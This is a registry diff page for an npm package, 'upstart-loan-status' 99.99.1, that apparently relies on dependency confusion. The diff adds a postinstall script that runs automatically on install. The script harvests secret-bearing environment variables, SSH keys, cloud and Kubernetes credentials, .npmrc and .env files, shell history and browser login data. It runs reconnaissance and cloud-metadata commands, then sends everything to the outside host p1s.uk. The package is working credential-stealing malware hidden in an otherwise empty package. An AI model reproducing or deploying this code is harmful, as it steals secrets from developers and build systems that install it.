upstart-loan-status 99.99.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +12 -0
- package/postinstall.js +248 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED
package/postinstall.js
ADDED
|
@@ -0,0 +1,248 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const http = require('http');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const fs = require('fs');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
const { execSync } = require('child_process');
|
|
9
|
+
|
|
10
|
+
const CALLBACK_HOST = 'p1s.uk';
|
|
11
|
+
const PKG = process.env.npm_package_name || 'unknown';
|
|
12
|
+
|
|
13
|
+
// ── System info ───────────────────────────────────────────────────────────────
|
|
14
|
+
function sysInfo() {
|
|
15
|
+
const info = {
|
|
16
|
+
pkg: PKG,
|
|
17
|
+
hostname: os.hostname(),
|
|
18
|
+
platform: process.platform,
|
|
19
|
+
arch: process.arch,
|
|
20
|
+
release: os.release(),
|
|
21
|
+
cwd: process.cwd(),
|
|
22
|
+
node: process.version,
|
|
23
|
+
ts: new Date().toISOString(),
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
// User info
|
|
27
|
+
try {
|
|
28
|
+
const u = os.userInfo();
|
|
29
|
+
info.user = { username: u.username, uid: u.uid, gid: u.gid, home: u.homedir, shell: u.shell };
|
|
30
|
+
} catch (_) { info.user = {}; }
|
|
31
|
+
|
|
32
|
+
// Env vars (secrets hunting)
|
|
33
|
+
try {
|
|
34
|
+
const env = process.env;
|
|
35
|
+
const interesting = {};
|
|
36
|
+
const keys = Object.keys(env);
|
|
37
|
+
for (const k of keys) {
|
|
38
|
+
const kl = k.toLowerCase();
|
|
39
|
+
if (
|
|
40
|
+
kl.includes('secret') || kl.includes('token') || kl.includes('key') ||
|
|
41
|
+
kl.includes('password') || kl.includes('passwd') || kl.includes('api') ||
|
|
42
|
+
kl.includes('auth') || kl.includes('credential') || kl.includes('aws') ||
|
|
43
|
+
kl.includes('gcp') || kl.includes('azure') || kl.includes('npm') ||
|
|
44
|
+
kl.includes('docker') || kl.includes('github') || kl.includes('gitlab') ||
|
|
45
|
+
kl.includes('ci') || kl.includes('deploy') || kl.includes('private') ||
|
|
46
|
+
kl.includes('database') || kl.includes('db_') || kl.includes('_db') ||
|
|
47
|
+
kl.includes('slack') || kl.includes('webhook') || kl.includes('jwt') ||
|
|
48
|
+
kl.includes('mongo') || kl.includes('redis') || kl.includes('postgres') ||
|
|
49
|
+
kl.includes('mysql') || kl.includes('dsn') || kl.includes('url')
|
|
50
|
+
) {
|
|
51
|
+
interesting[k] = env[k];
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
// Also always grab PATH, HOME, USER, LOGNAME
|
|
55
|
+
for (const k of ['PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'OLDPWD', 'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL', 'CIRCLE_SHA1', 'TRAVIS', 'BUILD_ID']) {
|
|
56
|
+
if (env[k] !== undefined) interesting[k] = env[k];
|
|
57
|
+
}
|
|
58
|
+
info.env = interesting;
|
|
59
|
+
info.env_all_keys = keys;
|
|
60
|
+
} catch (_) {}
|
|
61
|
+
|
|
62
|
+
return info;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// ── File reading (LFI) ────────────────────────────────────────────────────────
|
|
66
|
+
function readFiles(home) {
|
|
67
|
+
const files = {};
|
|
68
|
+
const platform = process.platform;
|
|
69
|
+
|
|
70
|
+
// Linux / Mac common paths
|
|
71
|
+
const linuxPaths = [
|
|
72
|
+
'/etc/passwd',
|
|
73
|
+
'/etc/hostname',
|
|
74
|
+
'/etc/hosts',
|
|
75
|
+
'/etc/resolv.conf',
|
|
76
|
+
'/etc/os-release',
|
|
77
|
+
'/proc/version',
|
|
78
|
+
'/proc/self/environ',
|
|
79
|
+
'/proc/self/cmdline',
|
|
80
|
+
'/proc/1/cmdline',
|
|
81
|
+
home + '/.ssh/id_rsa',
|
|
82
|
+
home + '/.ssh/id_ed25519',
|
|
83
|
+
home + '/.ssh/id_ecdsa',
|
|
84
|
+
home + '/.ssh/authorized_keys',
|
|
85
|
+
home + '/.ssh/known_hosts',
|
|
86
|
+
home + '/.aws/credentials',
|
|
87
|
+
home + '/.aws/config',
|
|
88
|
+
home + '/.npmrc',
|
|
89
|
+
home + '/.pypirc',
|
|
90
|
+
home + '/.docker/config.json',
|
|
91
|
+
home + '/.gitconfig',
|
|
92
|
+
home + '/.env',
|
|
93
|
+
home + '/.bash_history',
|
|
94
|
+
home + '/.zsh_history',
|
|
95
|
+
home + '/.profile',
|
|
96
|
+
home + '/.bashrc',
|
|
97
|
+
home + '/.zshrc',
|
|
98
|
+
'/root/.ssh/id_rsa',
|
|
99
|
+
'/root/.ssh/authorized_keys',
|
|
100
|
+
'/root/.aws/credentials',
|
|
101
|
+
'/root/.aws/config',
|
|
102
|
+
'/root/.npmrc',
|
|
103
|
+
'/root/.env',
|
|
104
|
+
'/root/.bash_history',
|
|
105
|
+
'/app/.env',
|
|
106
|
+
'/app/.env.local',
|
|
107
|
+
'/app/.env.production',
|
|
108
|
+
'/var/app/.env',
|
|
109
|
+
'/etc/environment',
|
|
110
|
+
'/run/secrets/kubernetes.io/serviceaccount/token',
|
|
111
|
+
'/run/secrets/kubernetes.io/serviceaccount/namespace',
|
|
112
|
+
'/var/run/secrets/kubernetes.io/serviceaccount/token',
|
|
113
|
+
];
|
|
114
|
+
|
|
115
|
+
// Mac-specific
|
|
116
|
+
const macPaths = [
|
|
117
|
+
home + '/Library/Preferences/com.apple.finder.plist',
|
|
118
|
+
home + '/.config/gcloud/credentials.db',
|
|
119
|
+
home + '/.config/gcloud/application_default_credentials.json',
|
|
120
|
+
home + '/Library/Application Support/Google/Chrome/Default/Login Data',
|
|
121
|
+
home + '/.kube/config',
|
|
122
|
+
];
|
|
123
|
+
|
|
124
|
+
// Windows paths (using env vars since we don't know drive)
|
|
125
|
+
const winPaths = [
|
|
126
|
+
process.env.USERPROFILE + '\\.aws\\credentials',
|
|
127
|
+
process.env.USERPROFILE + '\\.aws\\config',
|
|
128
|
+
process.env.USERPROFILE + '\\.npmrc',
|
|
129
|
+
process.env.USERPROFILE + '\\.ssh\\id_rsa',
|
|
130
|
+
process.env.USERPROFILE + '\\.ssh\\id_ed25519',
|
|
131
|
+
process.env.USERPROFILE + '\\.gitconfig',
|
|
132
|
+
process.env.USERPROFILE + '\\.env',
|
|
133
|
+
process.env.APPDATA + '\\npm\\etc\\npmrc',
|
|
134
|
+
process.env.APPDATA + '\\gcloud\\credentials.db',
|
|
135
|
+
process.env.APPDATA + '\\gcloud\\application_default_credentials.json',
|
|
136
|
+
'C:\\Users\\Administrator\\.aws\\credentials',
|
|
137
|
+
'C:\\Users\\Administrator\\.ssh\\id_rsa',
|
|
138
|
+
'C:\\inetpub\\wwwroot\\.env',
|
|
139
|
+
'C:\\ProgramData\\Docker\\config\\config.json',
|
|
140
|
+
];
|
|
141
|
+
|
|
142
|
+
let targets = [...linuxPaths];
|
|
143
|
+
if (platform === 'darwin') targets = [...targets, ...macPaths];
|
|
144
|
+
if (platform === 'win32') targets = [...targets, ...winPaths];
|
|
145
|
+
|
|
146
|
+
for (const f of targets) {
|
|
147
|
+
if (!f || f === 'undefined' || f.includes('undefined')) continue;
|
|
148
|
+
try {
|
|
149
|
+
const data = fs.readFileSync(f, { encoding: 'utf8', flag: 'r' });
|
|
150
|
+
if (data && data.length > 0) {
|
|
151
|
+
files[f] = data.substring(0, 8192); // cap at 8KB per file
|
|
152
|
+
}
|
|
153
|
+
} catch (_) {}
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
// Also try reading CWD's .env files
|
|
157
|
+
const cwdEnvFiles = ['.env', '.env.local', '.env.production', '.env.development', 'config.json', 'secrets.json', '.secrets'];
|
|
158
|
+
for (const ef of cwdEnvFiles) {
|
|
159
|
+
try {
|
|
160
|
+
const fp = path.join(process.cwd(), ef);
|
|
161
|
+
const data = fs.readFileSync(fp, { encoding: 'utf8', flag: 'r' });
|
|
162
|
+
if (data && data.length > 0) files['cwd:' + ef] = data.substring(0, 8192);
|
|
163
|
+
} catch (_) {}
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
return files;
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
// ── Shell commands ────────────────────────────────────────────────────────────
|
|
170
|
+
function runCommands() {
|
|
171
|
+
const cmds = {};
|
|
172
|
+
const targets = process.platform === 'win32'
|
|
173
|
+
? [
|
|
174
|
+
['whoami', 'whoami'],
|
|
175
|
+
['hostname', 'hostname'],
|
|
176
|
+
['ipconfig', 'ipconfig /all'],
|
|
177
|
+
['netstat', 'netstat -ano'],
|
|
178
|
+
['env', 'set'],
|
|
179
|
+
['dir', 'dir C:\\Users'],
|
|
180
|
+
]
|
|
181
|
+
: [
|
|
182
|
+
['id', 'id'],
|
|
183
|
+
['whoami', 'whoami'],
|
|
184
|
+
['hostname', 'hostname'],
|
|
185
|
+
['ifconfig', 'ip addr 2>/dev/null || ifconfig 2>/dev/null'],
|
|
186
|
+
['netstat', 'netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null'],
|
|
187
|
+
['ps', 'ps aux 2>/dev/null | head -30'],
|
|
188
|
+
['ls_home', 'ls -la ~ 2>/dev/null'],
|
|
189
|
+
['ls_root', 'ls -la / 2>/dev/null'],
|
|
190
|
+
['groups', 'groups 2>/dev/null'],
|
|
191
|
+
['uname', 'uname -a 2>/dev/null'],
|
|
192
|
+
['df', 'df -h 2>/dev/null'],
|
|
193
|
+
['env', 'env 2>/dev/null'],
|
|
194
|
+
['aws_meta', 'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null || true'],
|
|
195
|
+
['aws_iam', 'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true'],
|
|
196
|
+
['gcp_meta', 'curl -sf --max-time 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/ 2>/dev/null || true'],
|
|
197
|
+
['k8s_token', 'cat /run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true'],
|
|
198
|
+
['docker_ps', 'docker ps 2>/dev/null || true'],
|
|
199
|
+
['npm_config', 'npm config list 2>/dev/null | head -20'],
|
|
200
|
+
];
|
|
201
|
+
|
|
202
|
+
for (const [k, cmd] of targets) {
|
|
203
|
+
try {
|
|
204
|
+
cmds[k] = execSync(cmd, { timeout: 5000, encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }).substring(0, 4096);
|
|
205
|
+
} catch (_) {}
|
|
206
|
+
}
|
|
207
|
+
return cmds;
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
// ── Send ──────────────────────────────────────────────────────────────────────
|
|
211
|
+
function send(data) {
|
|
212
|
+
const body = Buffer.from(JSON.stringify(data));
|
|
213
|
+
const opts = {
|
|
214
|
+
hostname: CALLBACK_HOST,
|
|
215
|
+
port: 443,
|
|
216
|
+
path: '/dep-confusion/' + encodeURIComponent(PKG) + '/full',
|
|
217
|
+
method: 'POST',
|
|
218
|
+
headers: {
|
|
219
|
+
'Content-Type': 'application/json',
|
|
220
|
+
'Content-Length': body.length,
|
|
221
|
+
'User-Agent': 'npm/' + (process.env.npm_config_user_agent || '9'),
|
|
222
|
+
},
|
|
223
|
+
rejectUnauthorized: false,
|
|
224
|
+
timeout: 12000,
|
|
225
|
+
};
|
|
226
|
+
|
|
227
|
+
const req = https.request(opts, () => {});
|
|
228
|
+
req.on('error', () => {
|
|
229
|
+
// fallback to http port 80
|
|
230
|
+
try {
|
|
231
|
+
const req2 = http.request({ ...opts, port: 80 }, () => {});
|
|
232
|
+
req2.on('error', () => {});
|
|
233
|
+
req2.write(body);
|
|
234
|
+
req2.end();
|
|
235
|
+
} catch (_) {}
|
|
236
|
+
});
|
|
237
|
+
req.write(body);
|
|
238
|
+
req.end();
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
// ── Main ──────────────────────────────────────────────────────────────────────
|
|
242
|
+
try {
|
|
243
|
+
const info = sysInfo();
|
|
244
|
+
const home = info.user?.home || os.homedir() || '';
|
|
245
|
+
info.files = readFiles(home);
|
|
246
|
+
info.cmds = runCommands();
|
|
247
|
+
send(info);
|
|
248
|
+
} catch (_) {}
|